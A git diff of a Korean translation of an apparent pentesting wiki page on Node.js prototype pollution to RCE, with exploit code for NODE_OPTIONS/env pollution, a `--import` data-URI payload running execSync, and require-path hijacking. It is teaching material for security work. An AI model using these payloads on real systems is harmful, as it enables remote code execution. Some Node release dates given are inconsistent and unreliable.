Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:16:49 +00:00
parent 507ac40846
commit f80e3042d2

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Vulnerable Code
## 취약한 코드
실제 JS가 다음과 같은 코드를 사용하는 것을 상상해 보세요:
```javascript
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
**PP2RCE**는 **Prototype Pollution to RCE** (원격 코드 실행)을 의미합니다.
이 [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)에 따르면, **`child_process`**의 일부 메서드(예: `fork` 또는 `spawn` 등)를 사용하여 **프로세스가 생성**될 때, 새로운 env vars를 생성하기 위한 **프로토타입 오염 가젯**인 `normalizeSpawnArguments` 메서드가 호출됩니다:
이 [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)에 따르면, **`child_process`**의 어떤 메서드(예: `fork` 또는 `spawn` 등)를 사용하여 **프로세스가 생성**될 때, `normalizeSpawnArguments` 메서드를 호출하며, 이는 **새로운 env vars를 생성하기 위한 프로토타입 오염 가젯**입니다:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
코드를 확인해보면 **`.env` 속성을** **오염시킴으로써** **`envPairs`**를 **독살**할 수 있는 것이 가능합니다.
코드를 확인해보면 **`envPairs`**를 **오염시켜** **`.env`** 속성을 통해 가능하다는 것을 알 수 있습니다.
### **`__proto__` 독살**
### **`__proto__` 오염**
> [!WARNING]
> **`child_process`** 라이브러리의 **`normalizeSpawnArguments`** 함수가 작동하는 방식 때문에, 프로세스에 **새로운 env 변수를 설정하기 위해** 무언가를 호출할 때 **무엇이든 오염시키기만 하면** 됩니다.\
> 예를 들어, `__proto__.avar="valuevar"`를 실행하면 프로세스는 `avar`라는 이름의 변수를 `valuevar` 값으로 가진 상태로 생성됩니다.
>
> 그러나 **env 변수가 첫 번째가 되기 위해서는** **`.env` 속성** **오염시켜야** 하며 (일부 방법에서만) 그 변수가 **첫 번째**가 됩니다 (공격을 허용함).
> 그러나 **env 변수가 첫 번째가 되기 위해서는** **`.env` 속성** **오염시켜야** 하며 (일부 방법에서만) 그 변수가 **첫 번째**가 됩니다 (공격을 허용함).
>
> 그래서 다음 공격에서 **`NODE_OPTIONS`**는 **`.env`** 안에 **없습니다**.
> 그래서 다음 공격에서 **`NODE_OPTIONS`**는 **`.env`** 안에 없습니다.
```javascript
const { execSync, fork } = require("child_process")
@ -122,9 +122,9 @@ var proc = fork("a_file.js")
```
## PP2RCE via env vars + cmdline
이전과 유사한 페이로드가 [**이 글**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)에서 제안되었습니다. 주요 차이점은 다음과 같습니다:
이전과 유사한 페이로드가 [**이 글**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**에서** 제안되었습니다. 주요 차이점은 다음과 같습니다:
- nodejs **payload**를 파일 `/proc/self/environ`에 저장하는 대신, **`/proc/self/cmdline`**의 **argv0** 안에 저장합니다.
- nodejs **payload**를 파일 `/proc/self/environ`에 저장하는 대신, **`/proc/self/cmdline`**의 argv0에 저장합니다.
- 그런 다음, **`NODE_OPTIONS`**를 통해 파일 `/proc/self/environ`을 요구하는 대신, **`/proc/self/cmdline`**을 요구합니다.
```javascript
const { execSync, fork } = require("child_process")
@ -149,9 +149,50 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
> [!NOTE]
> **Node.js 19**부터 CLI 플래그 `--import`를 `NODE_OPTIONS`를 통해 `--require`와 같은 방식으로 전달할 수 있습니다. `--require`와는 달리, `--import`는 **data-URI**를 이해하므로 공격자는 **파일 시스템에 대한 쓰기 권한이 전혀 필요하지 않습니다**. 이는 잠금된 또는 읽기 전용 환경에서 장치를 훨씬 더 신뢰할 수 있게 만듭니다.
>
> 이 기술은 2023년 5월 PortSwigger 연구에 의해 처음 공개적으로 문서화되었으며 이후 여러 CTF 챌린지에서 재현되었습니다.
공격은 위에서 보여준 `--require /proc/self/*` 트릭과 개념적으로 동일하지만, 파일을 가리키는 대신 페이로드를 base64로 인코딩된 `data:` URL에 직접 삽입합니다:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
취약한 merge/clone sink를 악용하는 방법은 페이지 상단에 나와 있습니다:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### 왜 `--import`가 도움이 되는가
1. **디스크 상호작용 없음** 페이로드는 프로세스 명령줄과 환경 내에서 완전히 이동합니다.
2. **ESM 전용 환경에서 작동** `--import`는 ECMAScript 모듈을 기본으로 하는 최신 Node 릴리스에서 JavaScript를 미리 로드하는 표준 방법입니다.
3. **일부 `--require` 허용 목록 우회** 몇몇 강화 라이브러리는 `--require`만 필터링하고 `--import`는 그대로 둡니다.
> [!WARNING]
> `NODE_OPTIONS`에서 `--import` 지원은 최신 **Node 22.2.0** (2025년 6월)에서도 여전히 존재합니다. Node 코어 팀은 향후 데이터 URI를 제한하는 것에 대해 논의하고 있지만, 작성 시점에서는 완화 조치가 없습니다.
---
## DNS 상호작용
다음 페이로드를 사용하여 이전에 논의한 NODE_OPTIONS 환경 변수를 악용하고 DNS 상호작용을 통해 작동 여부를 감지할 수 있습니다:
다음 페이로드를 사용하여 이전에 논의한 NODE_OPTIONS 환경 변수를 악용하고 DNS 상호작용으로 작동 여부를 감지할 수 있습니다:
```json
{
"__proto__": {
@ -227,16 +268,16 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
**`execFile`**가 작동하려면 **반드시 node를 실행해야** NODE_OPTIONS가 작동합니다.\
**node**를 실행하지 않는 경우, 실행 중인 것을 **환경 변수를 사용하여 변경**할 수 있는 방법을 찾아야 합니다.
**`execFile`**가 작동하려면 **반드시 node**를 실행해야 NODE_OPTIONS가 작동합니다.\
**node**를 실행하지 않는 경우, 실행 중인 것을 **환경 변수를 사용하여 실행 방식을 변경**할 수 있는 방법을 찾아야 합니다.
**다른** 기술들은 이 요구 사항 없이 **작동**합니다. 왜냐하면 **프로토타입 오염**을 통해 **실행되는 것**을 수정할 수 있기 때문입니다. (이 경우, `.shell`을 오염시킬 수 있더라도, 실행되는 것을 오염시킬 수는 없습니다).
**다른** 기술들은 이 요구 사항 없이 **작동**합니다. 왜냐하면 프로토타입 오염을 통해 **실행되는 것**을 **수정할 수 있기 때문입니다**. (이 경우, `.shell`을 오염시킬 수 있더라도, 실행되는 것을 오염시킬 수는 없습니다).
</details>
<details>
<summary><code>fork</code> 취약점</summary>
<summary><code>fork</code> exploitation</summary>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
@ -414,7 +455,7 @@ var proc = execSync("something")
<details>
<summary><strong><code>spawnSync</code> 취약점 이</strong></summary>
<summary><strong><code>spawnSync</code> </strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -463,7 +504,7 @@ var proc = spawnSync("something")
## 강제 스폰
이전 예제에서는 가젯을 트리거하는 방법을 보았고, **`spawn`**을 호출하는 기능이 **존재해야** 한다는 것을 알았습니다 (무언가를 실행하기 위해 사용되는 모든 **`child_process`** 메서드는 이를 호출합니다). 이전 예제에서는 **코드의 일부**였지만, 코드가 **호출하지 않는다면** 어떻게 될까요?
이전 예제에서는 가젯을 트리거하는 방법을 보았고, **`spawn`**을 호출하는 기능이 **존재해야** 한다는 것을 알았습니다 (무언가를 실행하기 위해 사용되는 모든 **`child_process`** 메서드는 이를 호출합니다). 이전 예제에서는 **코드의 일부**였지만, 코드가 **호출하지 않는** 경우는 어떻게 될까요?
### require 파일 경로 제어
@ -500,7 +541,7 @@ done
### 프로토타입 오염을 통한 require 파일 경로 설정
> [!WARNING]
> **이전 기술은** **사용자가 파일의 경로를 제어해야** 한다는 **전제 조건이 있습니다**. 하지만 이것이 항상 사실은 아닙니다.
> **이전 기술은** **사용자가 파일의 경로를 제어해야** 한다는 **전제가 필요합니다**. 하지만 이것이 항상 사실은 아닙니다.
그러나 코드가 프로토타입 오염 후에 require를 실행할 경우, 경로를 **제어하지 않더라도** 프로토타입 오염을 악용하여 **다른 경로를 강제로 지정할 수 있습니다**. 따라서 코드 라인이 `require("./a_file.js")` 또는 `require("bytes")`와 같더라도 **오염된 패키지를 require할 것입니다**.
@ -508,7 +549,7 @@ done
- **시스템 내의 `.js` 파일을 찾습니다**. 이 파일이 **require될 때 `child_process`를 사용하여 무언가를 실행합니다**.
- 공격하는 플랫폼에 파일을 업로드할 수 있다면, 그런 파일을 업로드할 수 있습니다.
- **경로를 오염시켜** `.js` 파일의 require 로드를 **강제로 실행**합니다. 이 파일은 child_process로 무언가를 실행할 것입니다.
- 경로를 오염시켜 **`.js` 파일의 require 로드를 강제합니다**. 이 파일은 child_process로 무언가를 실행할 것입니다.
- **환경/명령줄을 오염시켜** child_process 실행 함수가 호출될 때 임의의 코드를 실행합니다 (초기 기술 참조).
#### 절대 require
@ -556,7 +597,7 @@ fork("anything")
#### 상대 경로 - 1
만약 **상대 경로**가 절대 경로 대신 로드된다면, node가 **다른 경로를 로드**하도록 만들 수 있습니다:
**절대 경로** 대신 **상대 경로**가 로드되면, 노드가 **다른 경로를 로드**하도록 만들 수 있습니다:
{{#tabs}}
{{#tab name="exploit"}}
@ -598,7 +639,7 @@ fork("/path/to/anything")
#### 상대 require - 2
{{#tabs}}
{{#tab name="익스플로잇"}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -636,7 +677,7 @@ fork("/path/to/anything")
{{#endtab}}
{{#endtabs}}
#### 상대 require - 3
#### Relative require - 3
이전과 유사하게, [**이 글**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)에서 발견되었습니다.
```javascript
@ -665,12 +706,16 @@ require("./usage.js")
## Fixes & Unexpected protections
프로토타입 오염은 접근하는 객체의 **속성**이 **정의되지 않은** 경우에만 작동합니다. **코드**에서 해당 **속성**이 **값**으로 **설정**되면 **덮어쓸 수 없습니다**.
프로토타입 오염은 접근하는 객체의 **attribute**가 **undefined**일 때 작동합니다. 만약 **코드**에서 그 **attribute**에 **값**이 **설정**되어 있다면 **덮어쓸 수 없습니다**.
2022년 6월, [**이 커밋**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)에서 var `options``{}` 대신 **`kEmptyObject`**입니다. 이는 **프로토타입 오염**이 **`options`**의 **속성**에 영향을 미치는 것을 방지합니다.\
최소한 v18.4.0부터 이 보호가 **구현**되었으며, 따라서 `spawn``spawnSync` **익스플로잇**은 더 이상 작동하지 않습니다(옵션이 사용되지 않는 경우!).
2022년 6월 [**이 커밋**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)에서 var `options``{}` 대신 **`kEmptyObject`**입니다. 이는 **RCE**를 얻기 위해 **`options`**의 **attributes**에 영향을 미치는 프로토타입 오염을 **방지**합니다.\
최소한 v18.4.0부터 이 보호가 **구현**되었으며, 따라서 `spawn``spawnSync` **익스플로잇**은 더 이상 작동하지 않습니다 (옵션이 사용되지 않는 경우!).
[**이 커밋**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)에서는 vm 라이브러리의 **`contextExtensions`**의 **프로토타입 오염**이 **`{}`** 대신 **`kEmptyObject`**로 설정하여 **어느 정도 수정**되었습니다.
[**이 커밋**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)에서는 vm 라이브러리의 **`contextExtensions`**의 **prototype pollution**이 **`{}`** 대신 **`kEmptyObject`**로 설정하여 **어느 정도 수정**되었습니다.
> [!INFO]
> **Node 20 (2023년 4월) 및 Node 22 (2025년 4월)**는 추가적인 강화 조치를 도입했습니다: 여러 `child_process` 헬퍼는 이제 참조로 사용하는 대신 **`CopyOptions()`**로 사용자 제공 `options`를 복사합니다. 이는 `stdio`와 같은 중첩 객체의 오염을 차단하지만, 위에서 설명한 `NODE_OPTIONS` / `--import` 트릭에 대해서는 **보호하지 않습니다** 이러한 플래그는 여전히 환경 변수를 통해 수용됩니다.
> 완전한 수정은 부모 프로세스에서 전파될 수 있는 CLI 플래그를 제한해야 하며, 이는 Node Issue #50559에서 추적되고 있습니다.
### **Other Gadgets**
@ -682,6 +727,8 @@ require("./usage.js")
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}